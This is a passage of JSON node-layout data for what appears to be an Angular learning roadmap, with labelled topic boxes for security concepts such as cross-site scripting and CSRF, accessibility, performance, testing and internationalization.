\"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 142.86672552017467,\n        \"y\": 1988.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mm6c7GLQEwoQdAHdAYzGh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.95968546864998,\n        \"y\": 2132.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -48.95968546864998,\n        \"y\": 2132.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"umUX4Hxk7srHlFR_Un-u7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -301.13327447982533,\n        \"y\": 2236.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cross-site Scripting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -301.13327447982533,\n        \"y\": 2236.43042937083\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cgI9oeUHufA-ky_W1zENe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2293.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sanitization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2293.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XoYSuv1salCCHoI1cJkxv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2346.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Trusting Safe Values\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2346.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5h7U0spwEUhB-hbjSlaeB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2399.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Enforce Trusted Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.13327447982533,\n        \"y\": 2399.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xH3RHPhsaqD9zIMms5OmX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -67.13327447982533,\n        \"y\": 2236.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP Vulnerabilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -67.13327447982533,\n        \"y\": 2236.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z1DZBbFI4oU6-KQg3wqMm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2293.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cross-site Request Forgery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2293.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m2aw8vb4rz4IjshpoMyNx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2346.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HttpClient CSRF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2346.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ni00edsphJd7uBLCn7-Vw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2399.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XSRF protection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2399.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zd7YJGlcMFNFbsKUiW_XC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2452.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cross-site Script Inclusion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -56.13327447982533,\n        \"y\": 2452.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VNG9DdXlS6R1OJ6Lrn4Lt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 142.86672552017467,\n        \"y\": 2132.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 142.86672552017467,\n        \"y\": 2132.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0FvH7KPs9ag02QkD1HEJ-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2025.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attributes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2025.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CZ1YRyai8Ds-ry4A8jVbr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2078.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UI Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2078.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0s-QhN5aZh2F3tLJFKEyR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2131.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2131.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8i_JD1P4gIhY1rdldwLC2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2184.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2184.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5-RCB8AiDbkdIFYNXKWge\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2237.93042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Link Identification\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.36672552017467,\n        \"y\": 2237.93042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"STEHxJpwBZxFdQl0zUKxo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 227.7183398541871,\n        \"y\": 2334.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.7183398541871,\n        \"y\": 2334.43042937083\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CYjsXIOWtP5DJmYS-qR-s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2431.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Deferrable Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2431.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1WIKjn3nxYDMIhBL17aYQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2484.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Image Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2484.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pRSR5PEbkJXAJ1LPyK-EE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2537.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Zone Pollution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2537.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yxUtSBzJPRcS-IuPsyp-W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2590.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Slow Computations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2590.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NY_MfBNgNmloiRGcIvfJ1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2643.43042937083\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hydration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 333.86672552017467,\n        \"y\": 2643.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lLa-OnHV6GzkNFZu29BIT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 76.26672552017453,\n        \"y\": 2829.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 76.26672552017453,\n        \"y\": 2829.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HU1eTYB321C93qh_U7ioF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2537.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2537.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rH13NBFG02hnn5eABSNCY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2590.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing Pipes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2590.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4xt0m5jkUqB4Z-krcFBuL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2643.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2643.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TGRZBizDy83JKg_MhnRdX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2749.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Services with Dependencies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2749.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cXVy1lx2XqY_j8gxz-y60\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2910.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Bindings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2910.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SGqb5k6OmWit8PA6ZT3js\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2696.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2696.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f5v74Uw54LsB4FgdN6eCd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2963.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging Tests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 2963.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0dYWO_Zvh9J5_6cRjRjvI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 3016.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 3016.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bqA2bxPcZrqQ-6QE-YDK1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -70.13327447982533,\n        \"y\": 3069.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code Coverage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0dYWO_Zvh9J5_6cRjRjvI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.13327447982533,\n        \"y\": 3069.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xxyx3uzy5TpNhgR1IysMN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2829.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Internationalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2829.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W8OwpEw00xn0GxidlJjdc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2580.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Localize Package\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2580.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dVKl3Z2Rnf6IB064v19Mi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2633.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Locales by ID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2633.7304293708257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jL5amGV1BAX_V5cyTIH7d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2686.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Translation Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2686.7304293708257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9ISvaaJ815_cr_KW9vQhT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -335.63327447982533,\n        \"y\": 2739.7304293708257\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Multiple Locales\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": 